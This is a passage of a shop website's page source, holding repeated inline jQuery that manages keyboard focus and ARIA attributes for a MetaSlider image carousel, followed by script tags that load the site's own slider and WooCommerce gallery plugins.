li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4523 4524 // Disable focusable elements in cloned slides (these should never be focusable) 4525 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4526 } 4527 4528 // Initial setup 4529 disableAriaHiddenFocusableElements(); 4530 4531 // Observer for aria-hidden and clone changes 4532 if (typeof MutationObserver !== 'undefined') { 4533 var ariaObserver = new MutationObserver(function(mutations) { 4534 var shouldUpdate = false; 4535 mutations.forEach(function(mutation) { 4536 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 4537 shouldUpdate = true; 4538 } 4539 if (mutation.type === 'childList') { 4540 // Check if cloned slides were added/removed 4541 for (var i = 0; i < mutation.addedNodes.length; i++) { 4542 if (mutation.addedNodes[i].nodeType === 1 && 4543 (mutation.addedNodes[i].classList.contains('clone') || 4544 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 4545 shouldUpdate = true; 4546 break; 4547 } 4548 } 4549 } 4550 }); 4551 if (shouldUpdate) { 4552 setTimeout(disableAriaHiddenFocusableElements, 10); 4553 } 4554 }); 4555 4556 var targetNode = $('#metaslider_4316')[0]; 4557 if (targetNode) { 4558 ariaObserver.observe(targetNode, { 4559 attributes: true, 4560 attributeFilter: ['aria-hidden'], 4561 childList: true, 4562 subtree: true 4563 }); 4564 } 4565 } 4566 4567 4568 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4569 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4570 4571 document.addEventListener('click', function (event) { 4572 if (event.target.closest('[role=\'tab\']')) { 4573 $('#metaslider_4316').resize(); 4574 } 4575 }); 4576 4577 // Wait for DOM to be ready and FlexSlider to render controls 4578 setTimeout(function() { 4579 var nav = $('#metaslider_4316 .flex-control-nav'); 4580 if (nav.length) { 4581 nav.attr('role', 'tablist'); 4582 } 4583 4584 function updateSliderTabindex() { 4585 var slider_ = $('#metaslider_4316'); 4586 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4587 slider_.is('[aria-hidden="true"]') || 4588 !slider_.is(':visible'); 4589 4590 if (isSliderHidden) { 4591 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 4592 } else { 4593 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4594 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4595 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4596 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4597 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4598 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4599 } 4600 } 4601 4602 updateSliderTabindex(); 4603 4604 if (typeof MutationObserver !== 'undefined') { 4605 var observer = new MutationObserver(function(mutations) { 4606 var shouldUpdate = false;
4607 mutations.forEach(function(mutation) { 4608 if (mutation.type === 'attributes' && 4609 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 4610 shouldUpdate = true; 4611 } 4612 if (mutation.type === 'childList') { 4613 shouldUpdate = true; 4614 } 4615 }); 4616 if (shouldUpdate) { 4617 updateSliderTabindex(); 4618 } 4619 }); 4620 4621 var targetNode = $('#metaslider_4316')[0]; 4622 if (targetNode) { 4623 observer.observe(targetNode, { 4624 attributes: true, 4625 attributeFilter: ['aria-hidden', 'style', 'class'], 4626 childList: true, 4627 subtree: true 4628 }); 4629 4630 var parent = targetNode.parentNode; 4631 while (parent && parent !== document.body) { 4632 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 4633 parent = parent.parentNode; 4634 } 4635 } 4636 } 4637 }, 0); 4638 4639 4640 // Function to disable focusable elements in aria-hidden slides 4641 function disableAriaHiddenFocusableElements() { 4642 var slider_ = $('#metaslider_4316'); 4643 4644 // Disable focusable elements in slides with aria-hidden='true' 4645 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4646 4647 // Disable focusable elements in cloned slides (these should never be focusable) 4648 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4649 } 4650 4651 // Initial setup 4652 disableAriaHiddenFocusableElements(); 4653 4654 // Observer for aria-hidden and clone changes 4655 if (typeof MutationObserver !== 'undefined') { 4656 var ariaObserver = new MutationObserver(function(mutations) { 4657 var shouldUpdate = false; 4658 mutations.forEach(function(mutation) { 4659 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 4660 shouldUpdate = true; 4661 } 4662 if (mutation.type === 'childList') { 4663 // Check if cloned slides were added/removed 4664 for (var i = 0; i < mutation.addedNodes.length; i++) { 4665 if (mutation.addedNodes[i].nodeType === 1 && 4666 (mutation.addedNodes[i].classList.contains('clone') || 4667 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 4668 shouldUpdate = true; 4669 break; 4670 } 4671 } 4672 } 4673 }); 4674 if (shouldUpdate) { 4675 setTimeout(disableAriaHiddenFocusableElements, 10); 4676 } 4677 }); 4678 4679 var targetNode = $('#metaslider_4316')[0]; 4680 if (targetNode) { 4681 ariaObserver.observe(targetNode, { 4682 attributes: true, 4683 attributeFilter: ['aria-hidden'], 4684 childList: true, 4685 subtree: true 4686 }); 4687 } 4688 } 4689 4690 4691 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4692 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4693 4694 document.addEventListener('click', function (event) { 4695 if (event.target.closest('[role=\'tab\']')) { 4696 $('#metaslider_4316').resize(); 4697 } 4698 }); 4699 4700 // Wait for DOM to be ready and FlexSlider to render controls 4701 setTimeout(function() { 4702 var nav = $('#metaslider_4316 .flex-control-nav'); 4703 if (nav.length) { 4704 nav.attr('role', 'tablist'); 4705 } 4706 4707 function updateSliderTabindex() { 4708 var slider_ = $('#metaslider_4316'); 4709 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4710 slider_.is('[aria-hidden="true"]') || 4711 !slider_.is(':visible'); 4712 4713 if (isSliderHidden) { 4714 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 4715 } else { 4716 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4717 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4718 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4719 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4720 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4721 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4722 } 4723 } 4724 4725 updateSliderTabindex(); 4726 4727 if (typeof MutationObserver !== 'undefined') { 4728 var observer = new MutationObserver(function(mutations) { 4729 var shouldUpdate = false;
4730 mutations.forEach(function(mutation) { 4731 if (mutation.type === 'attributes' && 4732 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 4733 shouldUpdate = true; 4734 } 4735 if (mutation.type === 'childList') { 4736 shouldUpdate = true; 4737 } 4738 }); 4739 if (shouldUpdate) { 4740 updateSliderTabindex(); 4741 } 4742 }); 4743 4744 var targetNode = $('#metaslider_4316')[0]; 4745 if (targetNode) { 4746 observer.observe(targetNode, { 4747 attributes: true, 4748 attributeFilter: ['aria-hidden', 'style', 'class'], 4749 childList: true, 4750 subtree: true 4751 }); 4752 4753 var parent = targetNode.parentNode; 4754 while (parent && parent !== document.body) { 4755 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 4756 parent = parent.parentNode; 4757 } 4758 } 4759 } 4760 }, 0); 4761 4762 4763 // Function to disable focusable elements in aria-hidden slides 4764 function disableAriaHiddenFocusableElements() { 4765 var slider_ = $('#metaslider_4316'); 4766 4767 // Disable focusable elements in slides with aria-hidden='true' 4768 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4769 4770 // Disable focusable elements in cloned slides (these should never be focusable) 4771 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4772 } 4773 4774 // Initial setup 4775 disableAriaHiddenFocusableElements(); 4776 4777 // Observer for aria-hidden and clone changes 4778 if (typeof MutationObserver !== 'undefined') { 4779 var ariaObserver = new MutationObserver(function(mutations) { 4780 var shouldUpdate = false; 4781 mutations.forEach(function(mutation) { 4782 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 4783 shouldUpdate = true; 4784 } 4785 if (mutation.type === 'childList') { 4786 // Check if cloned slides were added/removed 4787 for (var i = 0; i < mutation.addedNodes.length; i++) { 4788 if (mutation.addedNodes[i].nodeType === 1 && 4789 (mutation.addedNodes[i].classList.contains('clone') || 4790 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 4791 shouldUpdate = true; 4792 break; 4793 } 4794 } 4795 } 4796 }); 4797 if (shouldUpdate) { 4798 setTimeout(disableAriaHiddenFocusableElements, 10); 4799 } 4800 }); 4801 4802 var targetNode = $('#metaslider_4316')[0]; 4803 if (targetNode) { 4804 ariaObserver.observe(targetNode, { 4805 attributes: true, 4806 attributeFilter: ['aria-hidden'], 4807 childList: true, 4808 subtree: true 4809 }); 4810 } 4811 } 4812 4813 4814 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4815 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4816 4817 document.addEventListener('click', function (event) { 4818 if (event.target.closest('[role=\'tab\']')) { 4819 $('#metaslider_4316').resize(); 4820 } 4821 }); 4822 4823 // Wait for DOM to be ready and FlexSlider to render controls 4824 setTimeout(function() { 4825 var nav = $('#metaslider_4316 .flex-control-nav'); 4826 if (nav.length) { 4827 nav.attr('role', 'tablist'); 4828 } 4829 4830 function updateSliderTabindex() { 4831 var slider_ = $('#metaslider_4316'); 4832 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4833 slider_.is('[aria-hidden="true"]') || 4834 !slider_.is(':visible'); 4835 4836 if (isSliderHidden) { 4837 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 4838 } else { 4839 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4840 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4841 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4842 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4843 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4844 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4845 } 4846 } 4847 4848 updateSliderTabindex(); 4849 4850 if (typeof MutationObserver !== 'undefined') { 4851 var observer = new MutationObserver(function(mutations) { 4852 var shouldUpdate = false;
4853 mutations.forEach(function(mutation) { 4854 if (mutation.type === 'attributes' && 4855 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 4856 shouldUpdate = true; 4857 } 4858 if (mutation.type === 'childList') { 4859 shouldUpdate = true; 4860 } 4861 }); 4862 if (shouldUpdate) { 4863 updateSliderTabindex(); 4864 } 4865 }); 4866 4867 var targetNode = $('#metaslider_4316')[0]; 4868 if (targetNode) { 4869 observer.observe(targetNode, { 4870 attributes: true, 4871 attributeFilter: ['aria-hidden', 'style', 'class'], 4872 childList: true, 4873 subtree: true 4874 }); 4875 4876 var parent = targetNode.parentNode; 4877 while (parent && parent !== document.body) { 4878 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 4879 parent = parent.parentNode; 4880 } 4881 } 4882 } 4883 }, 0); 4884 4885 4886 // Function to disable focusable elements in aria-hidden slides 4887 function disableAriaHiddenFocusableElements() { 4888 var slider_ = $('#metaslider_4316'); 4889 4890 // Disable focusable elements in slides with aria-hidden='true' 4891 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4892 4893 // Disable focusable elements in cloned slides (these should never be focusable) 4894 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4895 } 4896 4897 // Initial setup 4898 disableAriaHiddenFocusableElements(); 4899 4900 // Observer for aria-hidden and clone changes 4901 if (typeof MutationObserver !== 'undefined') { 4902 var ariaObserver = new MutationObserver(function(mutations) { 4903 var shouldUpdate = false; 4904 mutations.forEach(function(mutation) { 4905 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 4906 shouldUpdate = true; 4907 } 4908 if (mutation.type === 'childList') { 4909 // Check if cloned slides were added/removed 4910 for (var i = 0; i < mutation.addedNodes.length; i++) { 4911 if (mutation.addedNodes[i].nodeType === 1 && 4912 (mutation.addedNodes[i].classList.contains('clone') || 4913 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 4914 shouldUpdate = true; 4915 break; 4916 } 4917 } 4918 } 4919 }); 4920 if (shouldUpdate) { 4921 setTimeout(disableAriaHiddenFocusableElements, 10); 4922 } 4923 }); 4924 4925 var targetNode = $('#metaslider_4316')[0]; 4926 if (targetNode) { 4927 ariaObserver.observe(targetNode, { 4928 attributes: true, 4929 attributeFilter: ['aria-hidden'], 4930 childList: true, 4931 subtree: true 4932 }); 4933 } 4934 } 4935 4936 4937 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4938 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4939 4940 document.addEventListener('click', function (event) { 4941 if (event.target.closest('[role=\'tab\']')) { 4942 $('#metaslider_4316').resize(); 4943 } 4944 }); 4945 }, 4946 after: function(slider) { 4947 4948 // Update tabindex after slide change, respecting aria-hidden state 4949 var slider_ = $('#metaslider_4316'); 4950 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4951 slider_.is('[aria-hidden="true"]') || 4952 !slider_.is(':visible'); 4953 4954 if (!isSliderHidden) { 4955 // Disable focusable elements in slides with aria-hidden='true' 4956 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4957 4958 // Disable focusable elements in cloned slides 4959 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4960 4961 // Normal focus management for navigation 4962 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 4963 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 4964 4965 // Only allow focus on active slide that's not aria-hidden or cloned 4966 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 4967 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 4968 } 4969 4970 4971 // Re-disable focusable elements after slide transitions 4972 var slider_ = $('#metaslider_4316'); 4973 4974 // Disable focusable elements in slides with aria-hidden='true' 4975 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
4975([tabindex="-1"])').attr('tabindex', '-1'); 4976 4977 // Disable focusable elements in cloned slides 4978 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 4979 4980 4981 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 4982 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 4983 4984 4985 // Update tabindex after slide change, respecting aria-hidden state 4986 var slider_ = $('#metaslider_4316'); 4987 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 4988 slider_.is('[aria-hidden="true"]') || 4989 !slider_.is(':visible'); 4990 4991 if (!isSliderHidden) { 4992 // Disable focusable elements in slides with aria-hidden='true' 4993 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 4994 4995 // Disable focusable elements in cloned slides 4996 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 4997 4998 // Normal focus management for navigation 4999 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 5000 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 5001 5002 // Only allow focus on active slide that's not aria-hidden or cloned 5003 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 5004 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 5005 } 5006 5007 5008 // Re-disable focusable elements after slide transitions 5009 var slider_ = $('#metaslider_4316'); 5010 5011 // Disable focusable elements in slides with aria-hidden='true' 5012 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 5013 5014 // Disable focusable elements in cloned slides 5015 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 5016 5017 5018 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 5019 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 5020 5021 5022 // Update tabindex after slide change, respecting aria-hidden state 5023 var slider_ = $('#metaslider_4316'); 5024 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 5025 slider_.is('[aria-hidden="true"]') || 5026 !slider_.is(':visible'); 5027 5028 if (!isSliderHidden) { 5029 // Disable focusable elements in slides with aria-hidden='true' 5030 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 5031 5032 // Disable focusable elements in cloned slides 5033 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 5034 5035 // Normal focus management for navigation 5036 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 5037 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 5038 5039 // Only allow focus on active slide that's not aria-hidden or cloned 5040 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 5041 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 5042 } 5043 5044 5045 // Re-disable focusable elements after slide transitions 5046 var slider_ = $('#metaslider_4316'); 5047 5048 // Disable focusable elements in slides with aria-hidden='true' 5049 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
5049([tabindex="-1"])').attr('tabindex', '-1'); 5050 5051 // Disable focusable elements in cloned slides 5052 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 5053 5054 5055 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 5056 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 5057 5058 5059 // Update tabindex after slide change, respecting aria-hidden state 5060 var slider_ = $('#metaslider_4316'); 5061 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 5062 slider_.is('[aria-hidden="true"]') || 5063 !slider_.is(':visible'); 5064 5065 if (!isSliderHidden) { 5066 // Disable focusable elements in slides with aria-hidden='true' 5067 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 5068 5069 // Disable focusable elements in cloned slides 5070 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 5071 5072 // Normal focus management for navigation 5073 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 5074 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 5075 5076 // Only allow focus on active slide that's not aria-hidden or cloned 5077 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 5078 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 5079 } 5080 5081 5082 // Re-disable focusable elements after slide transitions 5083 var slider_ = $('#metaslider_4316'); 5084 5085 // Disable focusable elements in slides with aria-hidden='true' 5086 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 5087 5088 // Disable focusable elements in cloned slides 5089 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 5090 5091 5092 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 5093 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 5094 5095 5096 // Update tabindex after slide change, respecting aria-hidden state 5097 var slider_ = $('#metaslider_4316'); 5098 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 5099 slider_.is('[aria-hidden="true"]') || 5100 !slider_.is(':visible'); 5101 5102 if (!isSliderHidden) { 5103 // Disable focusable elements in slides with aria-hidden='true' 5104 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 5105 5106 // Disable focusable elements in cloned slides 5107 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 5108 5109 // Normal focus management for navigation 5110 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 5111 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 5112 5113 // Only allow focus on active slide that's not aria-hidden or cloned 5114 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 5115 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 5116 } 5117 5118 5119 // Re-disable focusable elements after slide transitions 5120 var slider_ = $('#metaslider_4316'); 5121 5122 // Disable focusable elements in slides with aria-hidden='true' 5123 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
5123([tabindex="-1"])').attr('tabindex', '-1'); 5124 5125 // Disable focusable elements in cloned slides 5126 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 5127 5128 5129 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 5130 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 5131 5132 5133 // Update tabindex after slide change, respecting aria-hidden state 5134 var slider_ = $('#metaslider_4316'); 5135 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 5136 slider_.is('[aria-hidden="true"]') || 5137 !slider_.is(':visible'); 5138 5139 if (!isSliderHidden) { 5140 // Disable focusable elements in slides with aria-hidden='true' 5141 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 5142 5143 // Disable focusable elements in cloned slides 5144 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 5145 5146 // Normal focus management for navigation 5147 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 5148 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 5149 5150 // Only allow focus on active slide that's not aria-hidden or cloned 5151 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 5152 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 5153 } 5154 5155 5156 // Re-disable focusable elements after slide transitions 5157 var slider_ = $('#metaslider_4316'); 5158 5159 // Disable focusable elements in slides with aria-hidden='true' 5160 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 5161 5162 // Disable focusable elements in cloned slides 5163 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 5164 5165 5166 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 5167 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 5168 5169 } 5170 }); 5171 $(document).trigger('metaslider/initialized', '#metaslider_4316'); 5172 }; 5173 var timer_metaslider_4316 = function() { 5174 var slider = !window.jQuery ? window.setTimeout(timer_metaslider_4316, 100) : !jQuery.isReady ? window.setTimeout(timer_metaslider_4316, 1) : metaslider_4316(window.jQuery); 5175 }; 5176 timer_metaslider_4316(); 5177//# sourceURL=metaslider-flex-slider-js-after 5178</script>
vendor: 1 bytes, line 5178
5178
5179<script id="metaslider-script-js-extra"> 5180var wpData = {"baseUrl":"https://fridaymasti.com"}; 5181var wpData = {"baseUrl":"https://fridaymasti.com"}; 5182var wpData = {"baseUrl":"https://fridaymasti.com"}; 5183var wpData = {"baseUrl":"https://fridaymasti.com"}; 5184var wpData = {"baseUrl":"https://fridaymasti.com"}; 5185var wpData = {"baseUrl":"https://fridaymasti.com"}; 5186//# sourceURL=metaslider-script-js-extra 5187</script>
vendor: 1 bytes, line 5187
5187
5188<script id="metaslider-script-js" src="https://fridaymasti.com/wp-content/plugins/ml-slider/assets/metaslider/script.min.js?ver=3.111.2"></script>
vendor: 1 bytes, line 5188
5188
5189<script id="metaslider-easing-js" src="https://fridaymasti.com/wp-content/plugins/ml-slider/assets/easing/jQuery.easing.min.js?ver=3.111.2"></script>
vendor: 1 bytes, line 5189
5189
5190<script data-wp-strategy="defer" defer id="wc-zoom-js" src="https://fridaymasti.com/wp-content/plugins/woocommerce/assets/js/zoom/jquery.zoom.min.js?ver=1.7.21-wc.11.1.0"></script>
vendor: 1 bytes, line 5190
5190
5191<script data-wp-strategy="defer" defer id="wc-flexslider-js" src="https://fridaymasti.com/wp-content/plugins/woocommerce/assets/js/flexslider/jquery.flexslider.min.js?ver=2.7.2-wc.11.1.0"></script>
vendor: 1 bytes, line 5191
5191
5192<script data-wp-strategy="defer" defer id="wc-photoswipe-js" src="https://fridaymasti.com/wp-content/plugins/woocommerce/assets/js/photoswipe/photoswipe.min.js?ver=4.1.1-wc.11.1.0"></script>
vendor: 1 bytes, line 5192
5192
